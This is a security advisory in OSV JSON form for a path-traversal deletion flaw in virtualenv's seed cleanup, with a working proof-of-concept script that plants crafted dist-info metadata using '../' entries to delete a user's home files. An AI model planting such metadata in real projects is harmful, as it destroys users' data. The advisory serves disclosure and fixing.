{"schema_version":"1.9.0","id":"GHSA-hhxq-47xx-j5xx","published":"2026-10-23T22:19:15Z","modified":"2026-10-23T22:30:04.122629060Z","aliases":["CVE-2026-113719"],"summary":"virtualenv: Seed replacement does not contain metadata deletion paths","details":"## Summary\n\nThe app-data seeder joins paths from existing distribution metadata to site-packages and deletes the resulting paths\nwithout checking containment within the environment.\n\nAnthropic's OSS Scanner reported this as `ANT-2026-SXOEHWP7` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nRemoval of a previously installed seed package.\n\n## Attacker-controlled input\n\nAn environment being reused must contain distribution metadata influenced by another account. The invoking user must\nhave deletion rights over the paths named by that metadata. Installing a new environment without existing package\nmetadata does not enter this cleanup path.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[seed uninstall](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/via_app_data/pip_install/base.py).\n\n## Mechanism\n\nBefore reinstalling a seed wheel, `PipInstall._uninstall_previous_version()` accepts an existing `pip-*.dist-info`\ndirectory in the destination. `_uninstall_dist()` reads its `top_level.txt` and `RECORD`, joins each entry to\n`site-packages`, and deletes the result. It does not check whether `..`, an absolute entry, or a linked parent takes the\npath outside the environment. The default app-data seeder reaches this path when it reuses a tree containing\nseed-package metadata; `--clear` removes that tree first.\n\n## Reproduction and evidence\n\nThe scanner prepared a project with `.venv/lib/python3.14/site-packages/pip-1.0.dist-info/`. Its `top_level.txt`\ncontained `../../../../../Documents`; its `RECORD` named `../../../../../notes.txt,,`. The user's home initially held\n`Documents/thesis/chapter1.txt` and `notes.txt`. Running `virtualenv .venv` exited successfully but removed both paths.\nA control tree with `top_level.txt` set to `pip` and a normal `pip/__init__.py` RECORD entry left the home files in\nplace. The reproducer prints `BUG` only when the control files survive and both attack targets disappear.\n\nThe deletion uses the invoking user's permissions and runs during creation, before any use of the environment. It\nrequires an existing destination that another account could populate; a fresh empty environment does not supply hostile\nmetadata. The report traces this cleanup to #2186, first released in 20.8.1.\n[PR #3428](https://github.com/pypa/virtualenv/pull/3428) checks each deletion path against the resolved environment root\nand refuses to delete the root itself.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant A as Prepared .venv metadata\n    participant V as App-data seeder\n    participant P as site-packages\n    participant H as User home\n    A->>P: top_level.txt names ../../../../../Documents\n    A->>P: RECORD names ../../../../../notes.txt\n    V->>P: read pip-1.0.dist-info before reinstall\n    P->>H: join entries without containment check\n    V->>H: remove Documents and notes.txt\n    V-->>A: virtualenv exits successfully\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-SXOEHWP7`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\nwork = Path(\"/tmp/repro-seed-uninstall\")\nshutil.rmtree(work, ignore_errors=True)\nUSER_FILES = (\"Documents/thesis/chapter1.txt\", \"notes.txt\")\n\n\ndef make_home(name):\n    home = work / name\n    (home / \"Documents\" / \"thesis\").mkdir(parents=True)\n    (home / \"Documents\" / \"thesis\" / \"chapter1.txt\").write_text(\"months of work\\n\")\n    (home / \"notes.txt\").write_text(\"my notes\\n\")\n    return home\n\n\ndef unpack_attacker_project(home, top_level_line, record_line):\n    subprocess.run(\n        [sys.executable, \"/tmp/repro.d/make_project_tree.py\", home / \"project\", top_level_line, record_line],\n        check=True,\n    )\n\n\ndef user_runs_virtualenv(home):\n    # HOME only gives each run its own ~ and app-data; --no-periodic-update keeps the run offline\n    result = subprocess.run(\n        [\"virtualenv\", \"--no-periodic-update\", \".venv\"],\n        cwd=home / \"project\",\n        env={**os.environ, \"HOME\": str(home)},\n        stdout=subprocess.PIPE,\n        text=True,\n        check=True,\n    )\n    print(result.stdout, end=\"\")\n\n\ndef files_left(home):\n    return [f for f in USER_FILES if (home / f).exists()]\n\n\n# control: the project ships well-formed pip metadata\ncontrol_home = make_home(\"control\")\nunpack_attacker_project(control_home, \"pip\", \"pip/__init__.py,,\")\nuser_runs_virtualenv(control_home)\ncontrol_left = files_left(control_home)\nprint(f\"CONTROL  user files still in ~ after virtualenv: {control_left}\")\n\n# attack: site-packages is ~/project/.venv/lib/python3.X/site-packages, so five \"..\" is ~\nattack_home = make_home(\"attack\")\nunpack_attacker_project(attack_home, \"../../../../../Documents\", \"../../../../../notes.txt,,\")\nprint(f\"BEFORE   user files in ~ before virtualenv: {files_left(attack_home)}\")\nuser_runs_virtualenv(attack_home)\nattack_left = files_left(attack_home)\nprint(f\"OBSERVED user files still in ~ after virtualenv: {attack_left}\")\n\n# check: creating an environment must never delete the user's files outside it\nprint(\"BUG\" if control_left == list(USER_FILES) and attack_left == [] else \"OK\")\n```\n\n**`repro.d/make_project_tree.py`**\n\n```text\n#!/usr/bin/env python3\nimport sys\nfrom pathlib import Path\n\nproject = Path(sys.argv[1])\ntop_level_line = sys.argv[2]\nrecord_line = sys.argv[3]\n\nproject.mkdir(parents=True)\n(project / \"README\").write_text(\"Set up with: virtualenv .venv\\n\")\n\n# a leftover .venv claiming pip 1.0 is installed; one copy per lib/python3.X, as the victim's Python is unknown\nfor minor in range(9, 16):\n    dist_info = project / \".venv\" / \"lib\" / f\"python3.{minor}\" / \"site-packages\" / \"pip-1.0.dist-info\"\n    dist_info.mkdir(parents=True)\n    (dist_info / \"top_level.txt\").write_text(top_level_line + \"\\n\")\n    (dist_info / \"RECORD\").write_text(record_line + \"\\n\")\n```\n\n## Impact\n\nSeed cleanup can delete files outside the environment or the environment root itself. The invoking user must have\ndeletion rights over those paths.\n\nSeverity: medium. CVSS 4.5, `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L`, assigned during maintainer review.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix skips cleanup paths outside the resolved environment root, and the root itself, with a warning. Final\nlinks are removed without following their targets; parent links participate in containment checks.\n\nFix: [PR #3428](https://github.com/pypa/virtualenv/pull/3428).\n\n## Known mitigation\n\nRecreate environments from a trusted empty destination rather than reseeding a tree with untrusted installed metadata.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic's OSS Scanner as ANT-2026-SXOEHWP7.","affected":[{"package":{"name":"virtualenv","ecosystem":"PyPI","purl":"pkg:pypi/virtualenv"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"21.14.9"}]}],"versions":["0.8","0.8.1","0.8.2","0.8.3","0.8.4","0.9","0.9.1","0.9.2","1.0","1.1","1.10","1.10.1","1.11","1.11.1","1.11.2","1.11.3","1.11.4","1.11.5","1.11.6","1.2","1.3","1.3.1","1.3.2","1.3.3","1.3.4","1.4","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.4.9","1.4rc1","1.5","1.5.1","1.5.2","1.6","1.6.1","1.6.2","1.6.3","1.6.4","1.7","1.7.1","1.7.1.1","1.7.1.2","1.7.2","1.8","1.8.1","1.8.2","1.8.3","1.8.4","1.9","1.9.1","12.0","12.0.1","12.0.2","12.0.4","12.0.5","12.0.6","12.0.7","12.1.0","12.1.1","13.0.0","13.0.1","13.0.2","13.0.3","13.1.0","13.1.1","13.1.2","14.0.0","14.0.1","14.0.2","14.0.3","14.0.4","14.0.5","14.0.6","15.0.0","15.0.1","15.0.2","15.0.3","15.1.0","15.2.0","16.0.0","16.1.0","16.2.0","16.3.0","16.3.1.dev0","16.4.0","16.4.1","16.4.3","16.4.4.dev0","16.5.0","16.6.0","16.6.1","16.6.2","16.7.0","16.7.1","16.7.10","16.7.11","16.7.12","16.7.2","16.7.3","16.7.4","16.7.5","16.7.6","16.7.7","16.7.8","16.7.9","20.0.0","20.0.0b1","20.0.0b2","20.0.1","20.0.10","20.0.11","20.0.12","20.0.13","20.0.14","20.0.15","20.0.16","20.0.17","20.0.18","20.0.19","20.0.2","20.0.20","20.0.21","20.0.22","20.0.23","20.0.24","20.0.25","20.0.26","20.0.27","20.0.28","20.0.29","20.0.3","20.0.30","20.0.31","20.0.32","20.0.33","20.0.34","20.0.35","20.0.4","20.0.5","20.0.6","20.0.7","20.0.8","20.0.9","20.1.0","20.10.0","20.11.0","20.11.1","20.11.2","20.12.0","20.12.1","20.13.0","20.13.1","20.13.2","20.13.3","20.13.4","20.14.0","20.14.1","20.15.0","20.15.1","20.16.0","20.16.1","20.16.2","20.16.3","20.16.4","20.16.5","20.16.6","20.16.7","20.17.0","20.17.1","20.18.0","20.19.0","20.2.0","20.2.1","20.2.2","20.20.0","20.21.0","20.21.1","20.22.0","20.23.0","20.23.1","20.24.0","20.24.1","20.24.2","20.24.3","20.24.4","20.24.5","20.24.6","20.24.7","20.25.0","20.25.1","20.25.2","20.25.3","20.26.0","20.26.1","20.26.2","20.26.3","20.26.4","20.26.5","20.26.6","20.27.0","20.27.1","20.28.0","20.28.1","20.29.0","20.29.1","20.29.2","20.29.3","20.3.0","20.3.1","20.30.0","20.31.0","20.31.1","20.31.2","20.32.0","20.33.0","20.33.1","20.34.0","20.35.0","20.35.1","20.35.2","20.35.3","20.35.4","20.36.0","20.36.1","20.38.0","20.39.0","20.39.1","20.4.0","20.4.1","20.4.2","20.4.3","20.4.4","20.4.5","20.4.6","20.4.7","20.5.0","20.6.0","20.7.0","20.7.1","20.7.2","20.8.0","20.8.1","20.9.0","21.0.0","21.1.0","21.10.0","21.11.0","21.11.1","21.12.0","21.12.1","21.13.0","21.14.0","21.14.1","21.14.2","21.14.3","21.14.4","21.14.5","21.14.6","21.14.7","21.14.8","21.2.0","21.2.1","21.2.2","21.2.3","21.2.4","21.3.0","21.3.1","21.3.2","21.3.3","21.4.0","21.4.1","21.4.2","21.4.3","21.5.0","21.5.1","21.5.2","21.6.0","21.6.1","21.7.0","21.7.1","21.7.10","21.7.11","21.7.12","21.7.13","21.7.14","21.7.15","21.7.16","21.7.2","21.7.3","21.7.4","21.7.5","21.7.6","21.7.7","21.7.8","21.7.9","21.8.1","21.9.0","21.9.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-hhxq-47xx-j5xx/GHSA-hhxq-47xx-j5xx.json"}}],"references":[{"type":"WEB","url":"https://github.com/pypa/virtualenv/security/advisories/GHSA-hhxq-47xx-j5xx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113719"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/pull/3428"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/commit/e3cea6fa10a50fa29cf1fdddd772458fba076d5f"},{"type":"PACKAGE","url":"https://github.com/pypa/virtualenv"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/releases/tag/21.14.9"}],"database_specific":{"cwe_ids":["CWE-22"],"github_reviewed":true,"github_reviewed_at":"2026-10-23T22:19:15Z","nvd_published_at":"2026-10-20T20:17:18Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L"}]}